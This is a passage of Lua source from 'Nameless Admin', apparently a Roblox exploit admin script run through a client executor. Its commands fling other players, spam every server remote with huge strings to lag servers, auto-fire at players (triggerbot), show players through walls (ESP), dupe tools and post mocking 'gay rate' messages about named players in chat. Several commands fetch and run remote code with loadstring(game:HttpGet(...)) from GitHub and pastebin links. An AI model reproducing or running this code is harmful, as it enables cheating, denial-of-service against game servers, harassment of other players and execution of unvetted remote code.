Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle end if TCharacter:FindFirstChild("HumanoidRootPart") then THumanoidRootPart = TCharacter.HumanoidRootPart end if TCharacter:FindFirstChild("Torso") then TTorso = TCharacter.Torso elseif TCharacter:FindFirstChild("UpperTorso") then TTorso = TCharacter.UpperTorso end if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = Character:FindFirstChildOfClass("Humanoid") end if not HumanoidRootPart then task.wait(1) if Torso then task.wait(1) else return end end if Humanoid.RigType == Enum.HumanoidRigType.R15 then wait(); Notify({ Description = "This command only works on R6"; Title = "Nameless Admin"; Duration = 7; }); end local fun = Instance.new("BodyAngularVelocity") fun.Name = "funfunfun" fun.MaxTorque = Vector3.new(0, math.huge, 0) fun.AngularVelocity = Vector3.new(0, 50, 0) fun.Parent = Player.Character.HumanoidRootPart Humanoid:Destroy() local NewHumanoid = Instance.new("Humanoid", Character) NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace repeat Tool.Grip = CFrame.new() Tool.Grip = Handle.CFrame:ToObjectSpace(TTorso.CFrame):Inverse() firetouchinterest(Handle, TTorso, 0) firetouchinterest(Handle, TTorso, 1) RunService.Heartbeat:wait() until Tool.Parent ~= Character NewHumanoid.WalkSpeed = 30 player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end) cmd.add({"remotespam", "exhaust"}, {"remotespam ", "Repeatedly fire all remotes at a time"}, function(n) local amt = tonumber(n) or 1 local events, functions = {}, {} local str = ("💖"):rep(120000) for i, v in pairs(getinstances and getinstances() or game:GetDescendants()) do pcall(function() if v.Name:find("%d") == 1 then return end if v:IsA("RemoteEvent") then table.insert(events, v) elseif v:IsA("RemoteFunction") then table.insert(functions, v) end end) end lib.connect("spam", RunService.Stepped:Connect(function() for i = 1, amt do spawn(function() for _, remote in pairs(events) do remote:FireServer(str) end for _, remote in pairs(functions) do remote:InvokeServer(str) end end) end end)) end) cmd.add({"unspam", "unlag", "unchatspam", "unanimlag", "unremotespam"}, {"unspam", "Stop all attempts to lag/spam"}, function() lib.disconnect("spam") end) cmd.add({"ping", "lag"}, {"ping ", "Set your replication lag to a value"}, function(n) local ping = (tonumber(n) or 0)/1000 settings():GetService("NetworkSettings").IncommingReplicationLag = ping end) cmd.add({"respawn", "re"}, {"respawn", "Respawn your character"}, function() local old = getChar().HumanoidRootPart.CFrame respawn() wait() plr.CharacterAdded:Wait() getChar():WaitForChild("HumanoidRootPart").CFrame = old end) cmd.add({"seizure"}, {"seizure", "Gives you a seizure"}, function() spawn(function() local Anim = Instance.new("Animation") if game.Players.LocalPlayer.Character:FindFirstChild("UpperTorso") then Anim.AnimationId = "rbxassetid://507767968" else Anim.AnimationId = "rbxassetid://180436148" end local k = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim) getgenv().ssss = game.Players.LocalPlayer:GetMouse() getgenv().Lzzz = false if Lzzz == false then getgenv().Lzzz = true if game.Players.LocalPlayer.Character:FindFirstChild("UpperTorso") then Anim.AnimationId = "rbxassetid://507767968" else Anim.AnimationId = "rbxassetid://180436148" end getgenv().currentnormal = game:GetService("Workspace").Gravity game:GetService("Workspace").Gravity = 196.2 game:GetService("Players").LocalPlayer.Character:PivotTo(game:GetService("Players").LocalPlayer.Character:GetPivot() * CFrame.Angles(2, 0, 0)) wait(0.5) game:GetService("Players").LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Animate.Disabled = true k:Play() k:AdjustSpeed(10) game.Players.LocalPlayer.Character.Animate.Disabled = true else getgenv().Lzzz = false if game.Players.LocalPlayer.Character:FindFirstChild("UpperTorso") then Anim.AnimationId = "rbxassetid://507767968" else Anim.AnimationId = "rbxassetid://180436148" end game:GetService("Workspace").Gravity = currentnormal game:GetService("Players").LocalPlayer.Character.Humanoid.PlatformStand = false game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = true k:Stop() game.Players.LocalPlayer.Character.Animate.Disabled = false game:GetService'RunService'.Heartbeat:Wait() for i = 1,10 do game.Players.LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0) wait(0.1) end end game:GetService("RunService").RenderStepped:Connect(function() if Lzzz == true then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(.075*math.sin(45*tick()), .075*math.sin(45*tick()),.075*math.sin(45*tick())) --angle*math.sin(velocity*tick()) end end) end) end) cmd.add({"unseizure"}, {"unseizure", "Stops you from having a seizure not in real life noob"}, function(n) spawn(function() local Anim = Instance.new("Animation") if game.Players.LocalPlayer.Character:FindFirstChild("UpperTorso") then Anim.AnimationId = "rbxassetid://507767968" else Anim.AnimationId = "rbxassetid://180436148" end local k = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim) getgenv().ssss = game.Players.LocalPlayer:GetMouse() getgenv().Lzzz = true if Lzzz == false then getgenv().Lzzz = true if game.Players.LocalPlayer.Character:FindFirstChild("UpperTorso") then Anim.AnimationId = "rbxassetid://507767968" else Anim.AnimationId = "rbxassetid://180436148" end getgenv().currentnormal = game:GetService("Workspace").Gravity game:GetService("Workspace").Gravity = 196.2 game:GetService("Players").LocalPlayer.Character:PivotTo(game:GetService("Players").LocalPlayer.Character:GetPivot() * CFrame.Angles(2, 0, 0)) wait(0.5) game:GetService("Players").LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Animate.Disabled = true k:Play() k:AdjustSpeed(10) game.Players.LocalPlayer.Character.Animate.Disabled = true else getgenv().Lzzz = false if game.Players.LocalPlayer.Character:FindFirstChild("UpperTorso") then Anim.AnimationId = "rbxassetid://507767968" else Anim.AnimationId = "rbxassetid://180436148" end game:GetService("Workspace").Gravity = currentnormal game:GetService("Players").LocalPlayer.Character.Humanoid.PlatformStand = false game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = true k:Stop() game.Players.LocalPlayer.Character.Animate.Disabled = false game:GetService'RunService'.Heartbeat:Wait() for i = 1,10 do game.Players.LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0) wait(0.1) end end game:GetService("RunService").RenderStepped:Connect(function() if Lzzz == true then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(.075*math.sin(45*tick()), .075*math.sin(45*tick()),.075*math.sin(45*tick())) --angle*math.sin(velocity*tick()) end end) end) end) cmd.add({"antisit"}, {"antisit", "Antisit"}, function() Player.Character.Humanoid:SetStateEnabled("Seated", false) Player.Character.Humanoid.Sit = true wait(); Notify({ Description = "Anti sit enabled"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"unantifling"}, {"unantifling", "Disable antifling command"}, function() wait(); Notify({ Description = "Anti fling disabled"; Title = "Nameless Admin"; Duration = 5; }); for i, v in pairs(workspace:GetDescendants()) do if v:IsA("NoCollisionConstraint") then v:Destroy() end end end) cmd.add({"unantisit"}, {"unantisit", "Disable antisit command"}, function() Player.Character.Humanoid:SetStateEnabled("Seated", true) Player.Character.Humanoid.Sit = false wait(); Notify({ Description = "Anti sit disabled"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"sit"}, {"sit", "Sit your player"}, function() local hum = character:FindFirstChildWhichIsA("Humanoid") if hum then hum.Sit = true end end) cmd.add({"spin"}, {"spin", "Spin yourself at the speed you want"}, function(d) local spinSpeed = tonumber(d) if d and isNumber(d) then spinSpeed = (d) end for i,v in pairs(getRoot(game.Players.LocalPlayer.Character):GetChildren()) do if v.Name == "Spinning" then v:Destroy() end end local Spin = Instance.new("BodyAngularVelocity") Spin.Name = "Spinning" Spin.Parent = getRoot(speaker.Character) Spin.MaxTorque = Vector3.new(0, math.huge, 0) Spin.AngularVelocity = Vector3.new(0,spinSpeed,0) end) cmd.add({"oldroblox"}, {"oldroblox", "Old skybox and studs"}, function() for i,v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") then local dec = Instance.new("Texture", v) dec.Texture = "rbxassetid://48715260" dec.Face = "Top" dec.StudsPerTileU = "1" dec.StudsPerTileV = "1" dec.Transparency = v.Transparency v.Material = "Plastic" local dec2 = Instance.new("Texture", v) dec2.Texture = "rbxassetid://20299774" dec2.Face = "Bottom" dec2.StudsPerTileU = "1" dec2.StudsPerTileV = "1" dec2.Transparency = v.Transparency v.Material = "Plastic" end end game.Lighting.ClockTime = 12 game.Lighting.GlobalShadows = false game.Lighting.Outlines = false for i,v in pairs(game.Lighting:GetDescendants()) do if v:IsA("Sky") then v:Destroy() end end local sky = Instance.new("Sky", game.Lighting) sky.SkyboxBk = "rbxassetid://161781263" sky.SkyboxDn = "rbxassetid://161781258" sky.SkyboxFt = "rbxassetid://161781261" sky.SkyboxLf = "rbxassetid://161781267" sky.SkyboxRt = "rbxassetid://161781268" sky.SkyboxUp = "rbxassetid://161781260" end) cmd.add({"f3x", "fex"}, {"f3x", "F3X for client"}, function() loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)() end) cmd.add({"dupetools"}, {"dupetools [amount]", "Probably the fastest tool duping method"}, function(...) _G.ammount = (...) for i=1,_G.ammount do loadstring(game:HttpGet("https://raw.githubusercontent.com/joshclark756/joshclark756-s-scripts/main/dupetools.lua",true))() end end) cmd.add({"harked"}, {"harked", "Harked Reborn"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Scripts/main/harked"))(); end) cmd.add({"triggerbot", "tbot"}, {"triggerbot (tbot)", "Executes a script that automatically clicks the mouse when the mouse is on a player"}, function() local ToggleKey = Enum.KeyCode.Q local Player = game:GetService("Players").LocalPlayer local Char = Player.Character or player.CharacterAdded:wait(1) local Root = Char.HumanoidRootPart or Char:WaitForChild("HumanoidRootPart") local Camera = game.Workspace.CurrentCamera local Mouse = Player:GetMouse() local PlayerTeam = Player.Team local Neutral = Player.Neutral local UIS = game:GetService("UserInputService") local Toggled = false ---==GUI==--- local GUI = Instance.new("ScreenGui") local On = Instance.new("TextLabel") local uicorner = Instance.new("UICorner") GUI.Name = "GUI" GUI.Parent = game.CoreGui --game.Players.LocalPlayer:WaitForChild("PlayerGui") On.Name = "On" On.Parent = GUI On.BackgroundColor3 = Color3.fromRGB(12, 4, 20) On.BackgroundTransparency = 0.14 On.BorderSizePixel = 0 On.Position = UDim2.new(0.880059958, 0, 0.328616381, 0) On.Size = UDim2.new(0, 160, 0, 20) On.Font = Enum.Font.SourceSans On.Text = "TriggerBot On: false" On.TextColor3 = Color3.new(1, 1, 1) On.TextScaled = true On.TextSize = 14 On.TextWrapped = true uicorner.Parent = On ---End Gui-- local FindTeams = function() local CC1 = false local CC2 = false if PlayerTeam ~= nil and Neutral == false then if #game:GetService("Teams"):GetTeams() > 0 then CC1 = true for i, v in pairs(game:GetService("Teams"):GetTeams()) do if #v:GetPlayers() > 0 and v ~= PlayerTeam and CC1 == true then CC2 = true elseif #v:GetPlayers() <= 0 and CC1 == true then return "FFA" end end elseif #game:GetService("Teams"):GetTeams() <= 0 then return "FFA" end elseif Neutral == true then return "FFA" elseif PlayerTeam == nil then return "FFA" end if CC1 == true and CC2 == true then return "TEAMS" end end --{[/| Functions |\]}-- function Click() mouse1click() --print("Tripped") end function CastRay(Mode) local RaySPTR = Camera:ScreenPointToRay(Mouse.X, Mouse.Y) --Hence the var name, the magnitude of this is 1. local NewRay = Ray.new(RaySPTR.Origin, RaySPTR.Direction * 9999) local Target, Position = workspace:FindPartOnRayWithIgnoreList(NewRay, {Char,workspace.CurrentCamera}) if Target and Position and game:GetService("Players"):GetPlayerFromCharacter(Target.Parent) and Target.Parent.Humanoid.Health > 0 or Target and Position and game:GetService("Players"):GetPlayerFromCharacter(Target.Parent.Parent) and Target.Parent.Parent.Humanoid.Health > 0 then local TPlayer = game:GetService("Players"):GetPlayerFromCharacter(Target.Parent) or game:GetService("Players"):GetPlayerFromCharacter(Target.Parent.Parent) if TPlayer.Team ~= PlayerTeam and Mode ~= "FFA" and TPlayer ~= Player then Click() elseif TPlayer.Team == PlayerTeam and TPlayer ~= Player then if Mode == "FFA" then Click() end end end end --End Functions-- UIS.InputBegan:Connect(function(Input) if Input.KeyCode == ToggleKey then Toggled = not Toggled On.Text = "Trigger Bot On: ".. tostring(Toggled) end end) local PreMode = FindTeams() local O = false game:GetService("RunService").Stepped:Connect(function() local Mode = FindTeams() if O == false then O = true print(Mode) end if Mode ~= PreMode then PreMode = Mode print(Mode) end if Toggled == true then CastRay(Mode) end end) print("BrokenCoding's Trigger Bot V4 Loaded") spawn(function() wait(2) Loaded:Destroy() end) wait(); Notify({ Description = "Keybind: Q"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"nofog"}, {"nofog", "Removes all fog from the game"}, function() local Lighting = game.Lighting Lighting.FogEnd = 100000 for i,v in pairs(Lighting:GetDescendants()) do if v:IsA("Atmosphere") then v:Destroy() end end end) cmd.add({"antiafk", "noafk"}, {"antiafk (noafk)", "Makes you not be kicked for being afk for 20 mins"}, function() wait(); Notify({ Description = "Anti AFK has been enabled"; Title = "Nameless Admin"; Duration = 5; }); ANTIAFK = game.Players.LocalPlayer.Idled:connect(function() game:FindService("VirtualUser"):Button2Down(Vector2.new(0,0),workspace.CurrentCamera.CFrame) task.wait(1) game:FindService("VirtualUser"):Button2Up(Vector2.new(0,0),workspace.CurrentCamera.CFrame) end) end) cmd.add({"antiattach", "noattach"}, {"antiattach (noattach)", "Makes you not be able to be attached by using a item"}, function() local Tools = {} for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("Tool") then table.insert(Tools,v:GetDebugId()) end end for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") then table.insert(Tools,v:GetDebugId()) end end AAttach = game.Players.LocalPlayer.Character.ChildAdded:Connect(function(instance) if instance:IsA("Tool") and not table.find(Tools,instance:GetDebugId()) then task.wait() instance.Parent = nil end end) wait(); Notify({ Description = "Anti attach enabled"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"unantiattach", "unnoattach"}, {"unantiattach (unnoattach)", "Makes you to be able for others to attach you"}, function() if AAttach then AAttach:Disconnect() wait(); Notify({ Description = "Anti attach disabled"; Title = "Nameless Admin"; Duration = 5; }); else wait(); Notify({ Description = "Anti attach already disabled"; Title = "Nameless Admin"; Duration = 5; }); end end) cmd.add({"setspawn", "spawnpoint", "ss"}, {"setspawn (spawnpoint, ss)", "Makes your spawn point be in the place where your character is"}, function() wait(); Notify({ Description = "Spawn has been set"; Title = "Nameless Admin"; Duration = 5; }); local stationaryrespawn = true local needsrespawning = false local haspos = false local pos = CFrame.new() game:GetService("UserInputService").InputBegan:connect(StatRespawn) game:GetService('RunService').Stepped:connect(function() if stationaryrespawn == true and game.Players.LocalPlayer.Character.Humanoid.Health == 0 then if haspos == false then pos = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame haspos = true end needsrespawning = true end if needsrespawning == true then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos end end) game.Players.LocalPlayer.CharacterAdded:connect(function() wait(0.6) needsrespawning = false haspos = false end) end) cmd.add({"ball", "feball"}, {"ball (feball)", "Executes a ball that flings a person when it touches them"}, function() _G.specifictoolname = false _G.toolname = "BoomBox" loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/500%20Pounds%20Converted%20%5B1%20Tool%5D.lua'))() end) cmd.add({"hamster"}, {"hamster ", "Hamster ball"}, function(...) local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Camera = workspace.CurrentCamera local SPEED_MULTIPLIER = (...) local JUMP_POWER = 60 local JUMP_GAP = 0.3 if (...) == nil then SPEED_MULTIPLIER = 30 end local character = game.Players.LocalPlayer.Character for i,v in ipairs(character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end local ball = character.HumanoidRootPart ball.Shape = Enum.PartType.Ball ball.Size = Vector3.new(5,5,5) local humanoid = character:WaitForChild("Humanoid") local params = RaycastParams.new() params.FilterType = Enum.RaycastFilterType.Blacklist params.FilterDescendantsInstances = {character} local tc = RunService.RenderStepped:Connect(function(delta) ball.CanCollide = true humanoid.PlatformStand = true if UserInputService:GetFocusedTextBox() then return end if UserInputService:IsKeyDown("W") then ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("A") then ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("S") then ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("D") then ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER end --ball.RotVelocity = ball.RotVelocity - Vector3.new(0,ball.RotVelocity.Y/50,0) end) UserInputService.JumpRequest:Connect(function() local result = workspace:Raycast( ball.Position, Vector3.new( 0, -((ball.Size.Y/2)+JUMP_GAP), 0 ), params ) if result then ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0) end end) Camera.CameraSubject = ball humanoid.Died:Connect(function() tc:Disconnect() end) end) cmd.add({"unantiafk", "unnoafk"}, {"unantiafk (unnoafk)", "Makes you able to be kicked for being afk for 20 mins"}, function() if ANTIAFK then ANTIAFK:Disconnect() wait(); Notify({ Description = "Anti AFK disabled"; Title = "Nameless Admin"; Duration = 5; }); else wait(); Notify({ Description = "Anti AFK already disabled"; Title = "Nameless Admin"; Duration = 5; }); end end) cmd.add({"toolgui"}, {"toolgui", "cool tool ui aka replication ui made by 0866"}, function() loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))(); wait(); Notify({ Description = "For a better experience, use R6 if you want tools do ;dupetools 5"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"clicktp"}, {"clicktp", "Teleport where your mouse is"}, function() mouse = game.Players.LocalPlayer:GetMouse() tool = Instance.new("Tool") tool.RequiresHandle = false tool.Name = "Click TP" tool.Activated:connect(function() local pos = mouse.Hit+Vector3.new(0,2.5,0) pos = CFrame.new(pos.X,pos.Y,pos.Z) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos end) tool.Parent = game.Players.LocalPlayer.Backpack wait(0.05) local TweenService = game:GetService("TweenService") local UserInputService = game:GetService("UserInputService") local Players = game:GetService("Players") local tool = Instance.new("Tool") tool.RequiresHandle = false tool.Name = "Tween Click TP" local function onActivated() local mouse = Players.LocalPlayer:GetMouse() local pos = mouse.Hit + Vector3.new(0,2.5,0) local humanoidRootPart = Players.LocalPlayer.Character.HumanoidRootPart local tweenInfo = TweenInfo.new( 1, -- duration Enum.EasingStyle.Quad, -- easing style Enum.EasingDirection.Out, -- easing direction 0, -- repeat count (0 = no repeat) false, -- reverses the tween if true 0 -- delay between repeats ) local tween = TweenService:Create(humanoidRootPart, tweenInfo, { CFrame = CFrame.new(pos.X, pos.Y, pos.Z) }) tween:Play() end tool.Activated:Connect(onActivated) tool.Parent = Players.LocalPlayer.Backpack end) cmd.add({"dex"}, {"dex", "Using this you can see the parts / guis / scripts etc with this. A really good and helpful script."}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/wally-rblx/awesome-explorer/main/source.lua"))() end) cmd.add({"antikill"}, {"antikill", "Makes exploiters not be able to kill you"}, function() Player.Character.Humanoid:SetStateEnabled("Seated", false) Player.Character.Humanoid.Sit = true wait(); Notify({ Description = "Anti kill enabled"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"gayrate"}, {"gayrate ", "Gay scale of a player"}, function(...) Username = (...) target = getPlr(Username) local coolPercentage = math.random(1, 100) rate = target.Name .. ' is ' .. coolPercentage .. '% gay' game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(rate, 'All') end) cmd.add({"coolrate"}, {"coolrate ", "Cool scale of a player"}, function(...) Username = (...) target = getPlr(Username) local coolPercentage = math.random(1, 100) rate = target.Name .. ' is ' .. coolPercentage .. '% cool' game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(rate, 'All') end) cmd.add({"unantikill"}, {"unantikill", "Makes exploiters to be able to kill you"}, function() Player.Character.Humanoid:SetStateEnabled("Seated", true) Player.Character.Humanoid.Sit = false wait(); Notify({ Description = "Anti kill disabled"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"antifling"}, {"antifling", "makes it so you cant collide with others"}, function() wait(); Notify({ Description = "Anti fling enabled"; Title = "Nameless Admin"; Duration = 5; }); Player = game.Players.LocalPlayer local Players = game:GetService("Players") plrs = Players function nocollision(prt, plr) for i, v in pairs(plr:GetDescendants()) do if v:IsA("BasePart") then e = Instance.new("NoCollisionConstraint", v) e.Part0 = v e.Part1 = prt end end end for i, yes in pairs(Player.Character:GetDescendants()) do if yes:IsA("BasePart") then if yes:IsA("BasePart") then for i, v in pairs(plrs:GetDescendants()) do if v:IsA("Player") then nocollision(yes, v.Character) end end end end end end) cmd.add({"table"}, {"table", "Turns you into a table"}, function() loadstring(game:HttpGet(('https://pastebin.com/raw/UmdYd4bE'),true))() local plr = game.Players.LocalPlayer game:GetService("RunService").Stepped:Connect(function() setsimulationradius(9e9,9e9) plr.ReplicationFocus = workspace settings().Physics.AllowSleep = false end) local runservice=game:service"RunService"; local player=game:service"Players"["LocalPlayer"]; local character=player["Character"]; character["Head"]:FindFirstChildOfClass"SpecialMesh":Destroy(); character["Humanoid"].HipHeight=-2; character["Left Leg"]:BreakJoints(); character["Right Leg"]:BreakJoints(); character["Left Arm"]:BreakJoints(); character["Right Arm"]:BreakJoints(); while runservice["Heartbeat"]:Wait() do character["Left Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0); character["Right Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0); character["Left Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,0,2); character["Right Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,0,2); end end) cmd.add({"gravitygun"}, {"gravitygun", "Probably the best gravity gun script thats fe"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Script/main/Gravity%20Gun"))() end) cmd.add({"controlnpcs", "cnpcs"}, {"controlnpcs (cnpcs)", "Keybind: CTRL + LEFTCLICK"}, function() wait(); Notify({ Description = "ControlNPCs executed, CTRL + Click on an NPC"; Title = "Nameless Admin"; Duration = 5; }); --- made by joshclark756#7155 -- Variables local mouse = game.Players.LocalPlayer:GetMouse() local uis = game:GetService("UserInputService") -- Connect mouse.Button1Down:Connect(function() -- Check for Target & Left Shift if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then local npc = mouse.target.Parent local npcRootPart = npc.HumanoidRootPart local PlayerCharacter = game:GetService("Players").LocalPlayer.Character local PlayerRootPart = PlayerCharacter.HumanoidRootPart local A0 = Instance.new("Attachment") local AP = Instance.new("AlignPosition") local AO = Instance.new("AlignOrientation") local A1 = Instance.new("Attachment") for _, v in pairs(npc:GetDescendants()) do if v:IsA("BasePart") then game:GetService("RunService").Stepped:Connect(function() v.CanCollide = false end) end end PlayerRootPart:BreakJoints() for _, v in pairs(PlayerCharacter:GetDescendants()) do if v:IsA("BasePart") then if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then else v:Destroy() end end end PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(5, 0, 0) PlayerCharacter.Head.Anchored = true PlayerCharacter.UpperTorso.Anchored = true A0.Parent = npcRootPart AP.Parent = npcRootPart AO.Parent = npcRootPart AP.Responsiveness = 200 AP.MaxForce = math.huge AO.MaxTorque = math.huge AO.Responsiveness = 200 AP.Attachment0 = A0 AP.Attachment1 = A1 AO.Attachment1 = A1 AO.Attachment0 = A0 A1.Parent = PlayerRootPart end end) end) cmd.add({"attachpart"}, {"attachpart", "Keybind: CTRL + LEFTCLICK"}, function() wait(); Notify({ Description = "AttachPart executed, CTRL + Click on a part"; Title = "Nameless Admin"; Duration = 5; }); -- made by joshclark756#7155 -- Variables local mouse = game.Players.LocalPlayer:GetMouse() local uis = game:GetService("UserInputService") -- Connect mouse.Button1Down:Connect(function() -- Check for Target & Left Shift if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then local npc = mouse.target local npcparts = mouse.target.Parent local PlayerCharacter = game:GetService("Players").LocalPlayer.Character local PlayerRootPart = PlayerCharacter.HumanoidRootPart local A0 = Instance.new("Attachment") local AP = Instance.new("AlignPosition") local AO = Instance.new("AlignOrientation") local A1 = Instance.new("Attachment") for _, v in pairs(npcparts:GetDescendants()) do if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then do v.CanCollide = false end end end -- Variables local mouse = game.Players.LocalPlayer:GetMouse() local uis = game:GetService("UserInputService") -- Connect mouse.Button1Down:Connect(function() if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then local npc = mouse.target local npcparts = mouse.target.Parent local PlayerCharacter = game:GetService("Players").LocalPlayer.Character local PlayerRootPart = PlayerCharacter.HumanoidRootPart local A0 = Instance.new("Attachment") local AP = Instance.new("AlignPosition") local AO = Instance.new("AlignOrientation") local A1 = Instance.new("Attachment") for _, v in pairs(npcparts:GetDescendants()) do if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then do v.CanCollide = false wait(0) local player = game.Players.LocalPlayer local mouse = player:GetMouse() bind = "e" -- has to be lowercase mouse.KeyDown:connect(function(key) if key == bind then do v.CanCollide = true end end end) end end end for _, v in pairs(PlayerCharacter:GetDescendants()) do if v:IsA("BasePart") then if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then end end end PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0) PlayerCharacter.Head.Anchored = false PlayerCharacter.Torso.Anchored = false A0.Parent = npc AP.Parent = npc AO.Parent = npc AP.Responsiveness = 200 AP.MaxForce = math.huge AO.MaxTorque = math.huge AO.Responsiveness = 200 AP.Attachment0 = A0 AP.Attachment1 = A1 AO.Attachment1 = A1 AO.Attachment0 = A0 A1.Parent = PlayerRootPart end end) for _, v in pairs(PlayerCharacter:GetDescendants()) do if v:IsA("BasePart") then if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then end end end PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0) PlayerCharacter.Head.Anchored = false PlayerCharacter.Torso.Anchored = false A0.Parent = npc AP.Parent = npc AO.Parent = npc AP.Responsiveness = 200 AP.MaxForce = math.huge AO.MaxTorque = math.huge AO.Responsiveness = 200 AP.Attachment0 = A0 AP.Attachment1 = A1 AO.Attachment1 = A1 AO.Attachment0 = A0 A1.Parent = PlayerRootPart end end) end) cmd.add({"esp"}, {"esp", "ESP"}, function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LP = Players.LocalPlayer local roles -- > Functions <-- function CreateHighlight() -- make any new highlights for new players for i, v in pairs(Players:GetChildren()) do if v ~= LP and v.Character and not v.Character:FindFirstChild("Highlight") then Instance.new("Highlight", v.Character) end end end function UpdateHighlights() -- Get Current Role Colors (messy) for _, v in pairs(Players:GetChildren()) do if v ~= LP and v.Character and v.Character:FindFirstChild("Highlight") then Highlight = v.Character:FindFirstChild("Highlight") Highlight.FillColor = Color3.fromRGB(0, 225, 0) end end end function IsAlive(Player) -- Simple sexy function for i, v in pairs(roles) do if Player.Name == i then if not v.Killed and not v.Dead then return true else return false end end end end CreateHighlight() UpdateHighlights() end) cmd.add({"unesp"}, {"unesp", "Disables esp"}, function() -- Find all existing players and remove the Highlight instance from their characters for _, player in ipairs(game.Players:GetPlayers()) do local character = player.Character if character then local highlight = character:FindFirstChild("Highlight") if highlight then highlight:Destroy() end end end -- Remove the Highlight instance from any new players that join the game game.Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(character) local highlight = character:FindFirstChild("Highlight") if highlight then highlight:Destroy() end end) end) end) cmd.add({"creep", "ctp", "scare"}, {"ctp (creep, scare)", "Teleports from a player behind them and under the floor to the top"}, function(...) Players = game:GetService("Players") HRP = game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored Username = (...) local target = getPlr(Username) getChar().HumanoidRootPart.CFrame = target.Character.Humanoid.RootPart.CFrame * CFrame.new(0, -10, 4) wait() if connections["noclip"] then lib.disconnect("noclip") return end lib.connect("noclip", RunService.Stepped:Connect(function() if not character then return end for i, v in pairs(character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end end)) wait() game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true wait() tweenService, tweenInfo = game:GetService("TweenService"), TweenInfo.new(1000, Enum.EasingStyle.Linear) tween = tweenService:Create(game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart, tweenInfo, {CFrame = CFrame.new(0, 10000, 0)}) tween:Play() wait(1.5) tween:Pause() game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false wait() lib.disconnect("noclip") end) cmd.add({"netless", "net"}, {"netless (net)", "Executes netless which makes scripts more stable"}, function() for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do if v:IsA("BasePart") and v.Name ~="HumanoidRootPart" then 